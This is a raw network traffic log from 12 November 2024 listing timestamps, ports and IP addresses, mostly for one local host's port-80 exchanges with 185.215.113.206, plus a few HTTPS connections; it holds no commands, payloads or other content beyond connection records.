Nov 12, 2024 17:07:55.029902935 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029911995 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029912949 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029927015 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029951096 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.030339003 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.030352116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.030389071 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.030389071 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.030455112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.030471087 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.030482054 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.030493021 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.030505896 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.030512094 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.030519009 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.030533075 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.030544996 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.030551910 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.030551910 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.030558109 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.030571938 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.030572891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.030589104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.030599117 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.030631065 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031044960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031055927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031071901 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031085014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031088114 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031097889 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031111002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031116962 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031137943 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031146049 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031152010 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031163931 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031166077 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031177998 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031197071 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031213999 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031219959 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031230927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031264067 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031264067 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031430960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031443119 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031471014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031476974 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031486034 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031487942 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031500101 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031513929 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031521082 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031521082 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031527996 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031531096 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031548023 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031553984 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031562090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031577110 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031577110 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031589031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031598091 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031601906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031614065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031627893 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031640053 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.031646013 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031661034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.031678915 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.032016039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.032037973 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.032056093 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.032061100 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.032069921 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.032083035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.032099009 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.032099009 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.032099962 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.032114983 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.032123089 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.032123089 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.032130003 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.032134056 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.032145977 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.032159090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.032162905 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.032162905 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.032172918 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.032183886 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.032186985 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.032210112 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.032210112 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.032233000 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.038081884 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.038104057 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.038175106 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.038183928 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.038222075 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.067945957 CET	49959	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:55.067959070 CET	49958	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:55.070118904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.070167065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.070179939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.070199013 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.070235968 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.070261955 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.070280075 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.070307016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.070312977 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.070317030 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.070338964 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.070353985 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.108488083 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.108513117 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.108553886 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.108566046 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.108591080 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.108616114 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.108690977 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.108731031 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.108738899 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.108777046 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.108823061 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.109878063 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.109895945 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.121012926 CET	443	49960	131.253.33.219	192.168.2.6
Nov 12, 2024 17:07:55.121462107 CET	49960	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:55.121489048 CET	443	49960	131.253.33.219	192.168.2.6
Nov 12, 2024 17:07:55.122585058 CET	443	49960	131.253.33.219	192.168.2.6
Nov 12, 2024 17:07:55.122652054 CET	49960	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:55.124068022 CET	49960	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:55.124135017 CET	443	49960	131.253.33.219	192.168.2.6
Nov 12, 2024 17:07:55.126620054 CET	443	49961	131.253.33.219	192.168.2.6
Nov 12, 2024 17:07:55.126857042 CET	49961	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:55.126874924 CET	443	49961	131.253.33.219	192.168.2.6
Nov 12, 2024 17:07:55.127949953 CET	443	49961	131.253.33.219	192.168.2.6
Nov 12, 2024 17:07:55.128021002 CET	49961	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:55.130126953 CET	49961	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:55.130208015 CET	443	49961	131.253.33.219	192.168.2.6
Nov 12, 2024 17:07:55.148797989 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.148817062 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.148886919 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.148886919 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.149184942 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149236917 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.149249077 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149266005 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149302959 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.149339914 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.149375916 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149391890 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149404049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149418116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149431944 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.149465084 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.149492025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149525881 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149537086 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.149540901 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149555922 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.149584055 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.149616957 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149627924 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149641037 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149667025 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.149704933 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.149799109 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149811983 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149828911 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149842024 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149854898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149866104 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.149868011 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149887085 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.149889946 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.149902105 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.149913073 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.149957895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.150120974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150134087 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150151014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150170088 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150175095 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.150192976 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.150213003 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.150248051 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150285006 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.150316000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150331020 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150345087 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150366068 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.150393009 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.150546074 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150559902 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150571108 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150585890 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150588989 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.150600910 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150614977 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150620937 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.150629044 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150655985 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.150655985 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.150693893 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.150882959 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150895119 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150908947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150922060 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150933027 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.150933981 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150944948 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.150949001 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150964022 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150975943 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.150986910 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.150986910 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151040077 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151233912 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151247025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151269913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151283979 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151285887 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151285887 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151298046 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151305914 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151319981 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151335001 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151336908 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151336908 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151348114 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151362896 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151362896 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151384115 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151606083 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151618004 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151642084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151654959 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151664019 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151664019 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151669979 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151686907 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151690006 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151690006 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151702881 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151711941 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151715994 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.151740074 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151740074 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.151755095 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152013063 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152026892 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152048111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152061939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152062893 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152076006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152087927 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152087927 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152103901 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152118921 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152120113 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152120113 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152132988 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152151108 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152152061 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152164936 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152178049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152182102 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152189970 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152204990 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152216911 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152230024 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152240038 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152240038 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152241945 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152257919 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152261972 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152287006 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152295113 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152870893 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152883053 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152894020 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152910948 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152924061 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152926922 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152939081 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152952909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152954102 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152967930 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152971983 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152983904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.152990103 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.152996063 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.153009892 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.153011084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.153022051 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.153028965 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.153043032 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.153044939 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.153057098 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.153058052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.153065920 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.153073072 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.153081894 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.153088093 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.153090000 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.153104067 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.153112888 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.153119087 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.153132915 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.153137922 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.153158903 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.153158903 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.153171062 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.161638021 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.161660910 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.161758900 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.161776066 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.161813021 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.181550980 CET	49960	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:55.181574106 CET	49961	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:55.181581974 CET	443	49960	131.253.33.219	192.168.2.6
Nov 12, 2024 17:07:55.181582928 CET	443	49961	131.253.33.219	192.168.2.6
Nov 12, 2024 17:07:55.189585924 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.189605951 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.189616919 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.189639091 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.189661026 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.189696074 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.189707994 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.189784050 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.228425026 CET	49960	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:55.228441954 CET	49961	443	192.168.2.6	131.253.33.219
Nov 12, 2024 17:07:55.231133938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.231149912 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.231206894 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.231236935 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.254472017 CET	443	49963	13.107.246.45	192.168.2.6
